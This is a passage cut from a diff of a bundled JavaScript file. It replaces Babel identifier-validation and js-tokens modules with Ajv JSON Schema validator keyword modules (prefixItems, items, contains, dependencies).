util_1.checkStrictMode)(it2, msg, opts.strictTuples); + } + } + } + exports28.validateTuple = validateTuple; + exports28.default = def; } }); -// node_modules/js-tokens/index.js -var require_js_tokens = __commonJS({ - "node_modules/js-tokens/index.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/prefixItems.js +var require_prefixItems = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/prefixItems.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.default = /((['"])(?:(?!\2|\\).|\\(?:\r\n|[\s\S]))*(\2)?|`(?:[^`\\$]|\\[\s\S]|\$(?!\{)|\$\{(?:[^{}]|\{[^}]*\}?)*\}?)*(`)?)|(\/\/.*)|(\/\*(?:[^*]|\*(?!\/))*(\*\/)?)|(\/(?!\*)(?:\[(?:(?![\]\\]).|\\.)*\]|(?![\/\]\\]).|\\.)+\/(?:(?!\s*(?:\b|[\u0080-\uFFFF$\\'"~({]|[+\-!](?!=)|\.?\d))|[gmiyus]{1,6}\b(?![\u0080-\uFFFF$\\]|\s*(?:[+\-*%&|^<>!=?({]|\/(?![\/*])))))|(0[xX][\da-fA-F]+|0[oO][0-7]+|0[bB][01]+|(?:\d*\.\d+|\d+\.?)(?:[eE][+-]?\d+)?)|((?!\d)(?:(?!\s)[$\w\u0080-\uFFFF]|\\u[\da-fA-F]{4}|\\u\{[\da-fA-F]+\})+)|(--|\+\+|&&|\|\||=>|\.{3}|(?:[+\-\/%&|^]|\*{1,2}|<{1,2}|>{1,3}|!=?|={1,2})=?|[?~.,:;[\](){}])|(\s+)|(^$|[\s\S])/g; - exports28.matchToToken = function(match) { - var token = { type: "invalid", value: match[0], closed: void 0 }; - if (match[1]) - token.type = "string", token.closed = !!(match[3] || match[4]); - else if (match[5]) - token.type = "comment"; - else if (match[6]) - token.type = "comment", token.closed = !!match[7]; - else if (match[8]) - token.type = "regex"; - else if (match[9]) - token.type = "number"; - else if (match[10]) - token.type = "name"; - else if (match[11]) - token.type = "punctuator"; - else if (match[12]) - token.type = "whitespace"; - return token; + Object.defineProperty(exports28, "__esModule", { value: true }); + var items_1 = require_items(); + var def = { + keyword: "prefixItems", + type: "array", + schemaType: ["array"], + before: "uniqueItems", + code: (cxt) => (0, items_1.validateTuple)(cxt, "items") }; + exports28.default = def; } }); -// node_modules/@babel/helper-validator-identifier/lib/identifier.js -var require_identifier = __commonJS({ - "node_modules/@babel/helper-validator-identifier/lib/identifier.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/items2020.js +var require_items2020 = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/items2020.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.isIdentifierChar = isIdentifierChar; - exports28.isIdentifierName = isIdentifierName; - exports28.isIdentifierStart = isIdentifierStart; - var nonASCIIidentifierStartChars = "\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C8A\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CD\uA7D0\uA7D1\uA7D3\uA7D5-\uA7DC\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC"; - var nonASCIIidentifierChars = "\xB7\u0300-\u036F\u0387\u0483-\u0487\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u0669\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u06F0-\u06F9\u0711\u0730-\u074A\u07A6-\u07B0\u07C0-\u07C9\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0966-\u096F\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09E6-\u09EF\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A66-\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AE6-\u0AEF\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B66-\u0B6F\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0BE6-\u0BEF\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0CE6-\u0CEF\u0CF3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D66-\u0D6F\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0E50-\u0E59\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0ED0-\u0ED9\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1040-\u1049\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F-\u109D\u135D-\u135F\u1369-\u1371\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u17E0-\u17E9\u180B-\u180D\u180F-\u1819\u18A9\u1920-\u192B\u1930-\u193B\u1946-\u194F\u19D0-\u19DA\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AB0-\u1ABD\u1ABF-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BB0-\u1BB9\u1BE6-\u1BF3\u1C24-\u1C37\u1C40-\u1C49\u1C50-\u1C59\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u200C\u200D\u203F\u2040\u2054\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\u30FB\uA620-\uA629\uA66F\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8D0-\uA8D9\uA8E0-\uA8F1\uA8FF-\uA909\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9D0-\uA9D9\uA9E5\uA9F0-\uA9F9\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA50-\uAA59\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uABF0-\uABF9\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFF10-\uFF19\uFF3F\uFF65"; - var nonASCIIidentifierStart = new RegExp("[" + nonASCIIidentifierStartChars + "]"); - var nonASCIIidentifier = new RegExp("[" + nonASCIIidentifierStartChars + nonASCIIidentifierChars + "]"); - nonASCIIidentifierStartChars = nonASCIIidentifierChars = null; - var astralIdentifierStartCodes = [0, 11, 2, 25, 2, 18, 2, 1, 2, 14, 3, 13, 35, 122, 70, 52, 268, 28, 4, 48, 48, 31, 14, 29, 6, 37, 11, 29, 3, 35, 5, 7, 2, 4, 43, 157, 19, 35, 5, 35, 5, 39, 9, 51, 13, 10, 2, 14, 2, 6, 2, 1, 2, 10, 2, 14, 2, 6, 2, 1, 4, 51, 13, 310, 10, 21, 11, 7, 25, 5, 2, 41, 2, 8, 70, 5, 3, 0, 2, 43, 2, 1, 4, 0, 3, 22, 11, 22, 10, 30, 66, 18, 2, 1, 11, 21, 11, 25, 71, 55, 7, 1, 65, 0, 16, 3, 2, 2, 2, 28, 43, 28, 4, 28, 36, 7, 2, 27, 28, 53, 11, 21, 11, 18, 14, 17, 111, 72, 56, 50, 14, 50, 14, 35, 39, 27, 10, 22, 251, 41, 7, 1, 17, 2, 60, 28, 11, 0, 9, 21, 43, 17, 47, 20, 28, 22, 13, 52, 58, 1, 3, 0, 14, 44, 33, 24, 27, 35, 30, 0, 3, 0, 9, 34, 4, 0, 13, 47, 15, 3, 22, 0, 2, 0, 36, 17, 2, 24, 20, 1, 64, 6, 2, 0, 2, 3, 2, 14, 2, 9, 8, 46, 39, 7, 3, 1, 3, 21, 2, 6, 2, 1, 2, 4, 4, 0, 19, 0, 13, 4, 31, 9, 2, 0, 3, 0, 2, 37, 2, 0, 26, 0, 2, 0, 45, 52, 19, 3, 21, 2, 31, 47, 21, 1, 2, 0, 185, 46, 42, 3, 37, 47, 21, 0, 60, 42, 14, 0, 72, 26, 38, 6, 186, 43, 117, 63, 32, 7, 3, 0, 3, 7, 2, 1, 2, 23, 16, 0, 2, 0, 95, 7, 3, 38, 17, 0, 2, 0, 29, 0, 11, 39, 8, 0, 22, 0, 12, 45, 20, 0, 19, 72, 200, 32, 32, 8, 2, 36, 18, 0, 50, 29, 113, 6, 2, 1, 2, 37, 22, 0, 26, 5, 2, 1, 2, 31, 15, 0, 328, 18, 16, 0, 2, 12, 2, 33, 125, 0, 80, 921, 103, 110, 18, 195, 2637, 96, 16, 1071, 18, 5, 26, 3994, 6, 582, 6842, 29, 1763, 568, 8, 30, 18, 78, 18, 29, 19, 47, 17, 3, 32, 20, 6, 18, 433, 44, 212, 63, 129, 74, 6, 0, 67, 12, 65, 1, 2, 0, 29, 6135, 9, 1237, 42, 9, 8936, 3, 2, 6, 2, 1, 2, 290, 16, 0, 30, 2, 3, 0, 15, 3, 9, 395, 2309, 106, 6, 12, 4, 8, 8, 9, 5991, 84, 2, 70, 2, 1, 3, 0, 3, 1, 3, 3, 2, 11, 2, 0, 2, 6, 2, 64, 2, 3, 3, 7, 2, 6, 2, 27, 2, 3, 2, 4, 2, 0, 4, 6, 2, 339, 3, 24, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 30, 2, 24, 2, 7, 1845, 30, 7, 5, 262, 61, 147, 44, 11, 6, 17, 0, 322, 29, 19, 43, 485, 27, 229, 29, 3, 0, 496, 6, 2, 3, 2, 1, 2, 14, 2, 196, 60, 67, 8, 0, 1205, 3, 2, 26, 2, 1, 2, 0, 3, 0, 2, 9, 2, 3, 2, 0, 2, 0, 7, 0, 5, 0, 2, 0, 2, 0, 2, 2, 2, 1, 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 1, 2, 0, 3, 3, 2, 6, 2, 3, 2, 3, 2, 0, 2, 9, 2, 16, 6, 2, 2, 4, 2, 16, 4421, 42719, 33, 4153, 7, 221, 3, 5761, 15, 7472, 16, 621, 2467, 541, 1507, 4938, 6, 4191]; - var astralIdentifierCodes = [509, 0, 227, 0, 150, 4, 294, 9, 1368, 2, 2, 1, 6, 3, 41, 2, 5, 0, 166, 1, 574, 3, 9, 9, 7, 9, 32, 4, 318, 1, 80, 3, 71, 10, 50, 3, 123, 2, 54, 14, 32, 10, 3, 1, 11, 3, 46, 10, 8, 0, 46, 9, 7, 2, 37, 13, 2, 9, 6, 1, 45, 0, 13, 2, 49, 13, 9, 3, 2, 11, 83, 11, 7, 0, 3, 0, 158, 11, 6, 9, 7, 3, 56, 1, 2, 6, 3, 1, 3, 2, 10, 0, 11, 1, 3, 6, 4, 4, 68, 8, 2, 0, 3, 0, 2, 3, 2, 4, 2, 0, 15, 1, 83, 17, 10, 9, 5, 0, 82, 19, 13, 9, 214, 6, 3, 8, 28, 1, 83, 16, 16, 9, 82, 12, 9, 9, 7, 19, 58, 14, 5, 9, 243, 14, 166, 9, 71, 5, 2, 1, 3, 3, 2, 0, 2, 1, 13, 9, 120, 6, 3, 6, 4, 0, 29, 9, 41, 6, 2, 3, 9, 0, 10, 10, 47, 15, 343, 9, 54, 7, 2, 7, 17, 9, 57, 21, 2, 13, 123, 5, 4, 0, 2, 1, 2, 6, 2, 0, 9, 9, 49, 4, 2, 1, 2, 4, 9, 9, 330, 3, 10, 1, 2, 0, 49, 6, 4, 4, 14, 10, 5350, 0, 7, 14, 11465, 27, 2343, 9, 87, 9, 39, 4, 60, 6, 26, 9, 535, 9, 470, 0, 2, 54, 8, 3, 82, 0, 12, 1, 19628, 1, 4178, 9, 519, 45, 3, 22, 543, 4, 4, 5, 9, 7, 3, 6, 31, 3, 149, 2, 1418, 49, 513, 54, 5, 49, 9, 0, 15, 0, 23, 4, 2, 14, 1361, 6, 2, 16, 3, 6, 2, 1, 2, 4, 101, 0, 161, 6, 10, 9, 357, 0, 62, 13, 499, 13, 245, 1, 2, 9, 726, 6, 110, 6, 6, 9, 4759, 9, 787719, 239]; - function isInAstralSet(code, set4) { - let pos = 65536; - for (let i7 = 0, length = set4.length; i7 < length; i7 += 2) { - pos += set4[i7]; - if (pos > code) - return false; - pos += set4[i7 + 1]; - if (pos >= code) - return true; - } - return false; - } - function isIdentifierStart(code) { - if (code < 65) - return code === 36; - if (code <= 90) - return true; - if (code < 97) - return code === 95; - if (code <= 122) - return true; - if (code <= 65535) { - return code >= 170 && nonASCIIidentifierStart.test(String.fromCharCode(code)); - } - return isInAstralSet(code, astralIdentifierStartCodes); - } - function isIdentifierChar(code) { - if (code < 48) - return code === 36; - if (code < 58) - return true; - if (code < 65) - return false; - if (code <= 90) - return true; - if (code < 97) - return code === 95; - if (code <= 122) - return true; - if (code <= 65535) { - return code >= 170 && nonASCIIidentifier.test(String.fromCharCode(code)); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + var additionalItems_1 = require_additionalItems(); + var error2 = { + message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, + params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` + }; + var def = { + keyword: "items", + type: "array", + schemaType: ["object", "boolean"], + before: "uniqueItems", + error: error2, + code(cxt) { + const { schema: schema8, parentSchema, it: it2 } = cxt; + const { prefixItems } = parentSchema; + it2.items = true; + if ((0, util_1.alwaysValidSchema)(it2, schema8)) + return; + if (prefixItems) + (0, additionalItems_1.validateAdditionalItems)(cxt, prefixItems); + else + cxt.ok((0, code_1.validateArray)(cxt)); } - return isInAstralSet(code, astralIdentifierStartCodes) || isInAstralSet(code, astralIdentifierCodes); - } - function isIdentifierName(name2) { - let isFirst = true; - for (let i7 = 0; i7 < name2.length; i7++) { - let cp = name2.charCodeAt(i7); - if ((cp & 64512) === 55296 && i7 + 1 < name2.length) { - const trail = name2.charCodeAt(++i7); - if ((trail & 64512) === 56320) { - cp = 65536 + ((cp & 1023) << 10) + (trail & 1023); - } + }; + exports28.default = def; + } +}); + +// node_modules/ajv/dist/vocabularies/applicator/contains.js +var require_contains = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/contains.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1.str)`must contain at least ${min2} valid item(s)` : (0, codegen_1.str)`must contain at least ${min2} and no more than ${max2} valid item(s)`, + params: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1._)`{minContains: ${min2}}` : (0, codegen_1._)`{minContains: ${min2}, maxContains: ${max2}}` + }; + var def = { + keyword: "contains", + type: "array", + schemaType: ["object", "boolean"], + before: "uniqueItems", + trackErrors: true, + error: error2, + code(cxt) { + const { gen, schema: schema8, parentSchema, data, it: it2 } = cxt; + let min2; + let max2; + const { minContains, maxContains } = parentSchema; + if (it2.opts.next) { + min2 = minContains === void 0 ? 1 : minContains; + max2 = maxContains; + } else { + min2 = 1; } - if (isFirst) { - isFirst = false; - if (!isIdentifierStart(cp)) { - return false; + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + cxt.setParams({ min: min2, max: max2 }); + if (max2 === void 0 && min2 === 0) { + (0, util_1.checkStrictMode)(it2, `"minContains" == 0 without "maxContains": "contains" keyword ignored`); + return; + } + if (max2 !== void 0 && min2 > max2) { + (0, util_1.checkStrictMode)(it2, `"minContains" > "maxContains" is always invalid`); + cxt.fail(); + return; + } + if ((0, util_1.alwaysValidSchema)(it2, schema8)) { + let cond2 = (0, codegen_1._)`${len} >= ${min2}`; + if (max2 !== void 0) + cond2 = (0, codegen_1._)`${cond2} && ${len} <= ${max2}`; + cxt.pass(cond2); + return; + } + it2.items = true; + const valid = gen.name("valid"); + if (max2 === void 0 && min2 === 1) { + validateItems(valid, () => gen.if(valid, () => gen.break())); + } else if (min2 === 0) { + gen.let(valid, true); + if (max2 !== void 0) + gen.if((0, codegen_1._)`${data}.length > 0`, validateItemsWithCount); + } else { + gen.let(valid, false); + validateItemsWithCount(); + } + cxt.result(valid, () => cxt.reset()); + function validateItemsWithCount() { + const schValid = gen.name("_valid"); + const count2 = gen.let("count", 0); + validateItems(schValid, () => gen.if(schValid, () => checkLimits(count2))); + } + function validateItems(_valid, block) { + gen.forRange("i", 0, len, (i7) => { + cxt.subschema({ + keyword: "contains", + dataProp: i7, + dataPropType: util_1.Type.Num, + compositeRule: true + }, _valid); + block(); + }); + } + function checkLimits(count2) { + gen.code((0, codegen_1._)`${count2}++`); + if (max2 === void 0) { + gen.if((0, codegen_1._)`${count2} >= ${min2}`, () => gen.assign(valid, true).break()); + } else { + gen.if((0, codegen_1._)`${count2} > ${max2}`, () => gen.assign(valid, false).break()); + if (min2 === 1) + gen.assign(valid, true); + else + gen.if((0, codegen_1._)`${count2} >= ${min2}`, () => gen.assign(valid, true)); } - } else if (!isIdentifierChar(cp)) { - return false; } } - return !isFirst; - } + }; + exports28.default = def; } }); -// node_modules/@babel/helper-validator-identifier/lib/keyword.js -var require_keyword = __commonJS({ - "node_modules/@babel/helper-validator-identifier/lib/keyword.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/dependencies.js +var require_dependencies = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/dependencies.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.isKeyword = isKeyword; - exports28.isReservedWord = isReservedWord; - exports28.isStrictBindOnlyReservedWord = isStrictBindOnlyReservedWord; - exports28.isStrictBindReservedWord = isStrictBindReservedWord; - exports28.isStrictReservedWord = isStrictReservedWord; - var reservedWords = { - keyword: ["break", "case", "catch", "continue", "debugger", "default", "do", "else", "finally", "for", "function", "if", "return", "switch", "throw", "try", "var", "const", "while", "with", "new", "this", "super", "class", "extends", "export", "import", "null", "true", "false", "in", "instanceof", "typeof", "void", "delete"], - strict: ["implements", "interface", "let", "package", "private", "protected", "public", "static", "yield"], - strictBind: ["eval", "arguments"] + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.validateSchemaDeps = exports28.validatePropertyDeps = exports28.error = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + exports28.error = { + message: ({ params: { property: property2, depsCount, deps } }) => { + const property_ies = depsCount === 1 ? "property" : "properties"; + return (0, codegen_1.str)`must have ${property_ies} ${deps} when property ${property2} is present`; + }, + params: ({ params: { property: property2, depsCount, deps, missingProperty } }) => (0, codegen_1._)`{property: ${property2}, + missingProperty: ${missingProperty}, + depsCount: ${depsCount}, + deps: ${deps}}` + // TODO change to reference }; - var keywords = new Set(reservedWords.keyword); - var reservedWordsStrictSet = new Set(reservedWords.strict); - var reservedWordsStrictBindSet = new Set(reservedWords.strictBind); - function isReservedWord(word, inModule) { - return inModule && word === "await" || word === "enum"; - } - function isStrictReservedWord(word, inModule) { - return isReservedWord(word, inModule) || reservedWordsStrictSet.has(word); - } - function isStrictBindOnlyReservedWord(word) { - return reservedWordsStrictBindSet.has(word); + var def = { + keyword: "dependencies", + type: "object", + schemaType: "object", + error: exports28.error, + code(cxt) { + const [propDeps, schDeps] = splitDependencies(cxt); + validatePropertyDeps(cxt, propDeps); + validateSchemaDeps(cxt, schDeps); + } + }; + function splitDependencies({ schema: schema8 }) { + const propertyDeps = {}; + const schemaDeps = {}; + for (const key in schema8) { + if (key === "__proto__") + continue; + const deps = Array.isArray(schema8[key]) ? propertyDeps : schemaDeps; + deps[key] = schema8[key]; + } + return [propertyDeps, schemaDeps]; } - function isStrictBindReservedWord(word, inModule) { - return isStrictReservedWord(word, inModule) || isStrictBindOnlyReservedWord(word); + function validatePropertyDeps(cxt, propertyDeps = cxt.schema) { + const { gen, data, it: it2 } = cxt; + if (Object.keys(propertyDeps).length === 0) + return; + const missing = gen.let("missing"); + for (const prop in propertyDeps) { + const deps = propertyDeps[prop]; + if (deps.length === 0) + continue; + const hasProperty = (0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties); + cxt.setParams({ + property: prop, + depsCount: deps.length, + deps: deps.join(", ") + }); + if (it2.allErrors) { + gen.if(hasProperty, () => { + for (const depProp of deps) { + (0, code_1.checkReportMissingProp)(cxt, depProp); + } + }); + } else { + gen.if((0, codegen_1._)`${hasProperty} && (${(0, code_1.checkMissingProp)(cxt, deps, missing)})`); + (0, code_1.reportMissingProp)(cxt, missing); + gen.else(); + } + } } - function isKeyword(word) { - return keywords.has(word); + exports28.validatePropertyDeps = validatePropertyDeps; + function validateSchemaDeps(cxt, schemaDeps = cxt.schema) { + const { gen, data, keyword, it: it2 } = cxt; + const valid = gen.name("valid"); + for (const prop in schemaDeps) { + if ((0, util_1.alwaysValidSchema)(it2, schemaDeps[prop])) + continue; + gen.if( + (0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties), + () => { + const schCxt = cxt.subschema({ keyword, schemaProp: prop }, valid); + cxt.mergeValidEvaluated(schCxt, valid); + }, + () => gen.var(valid, true) + // TODO var + ); + 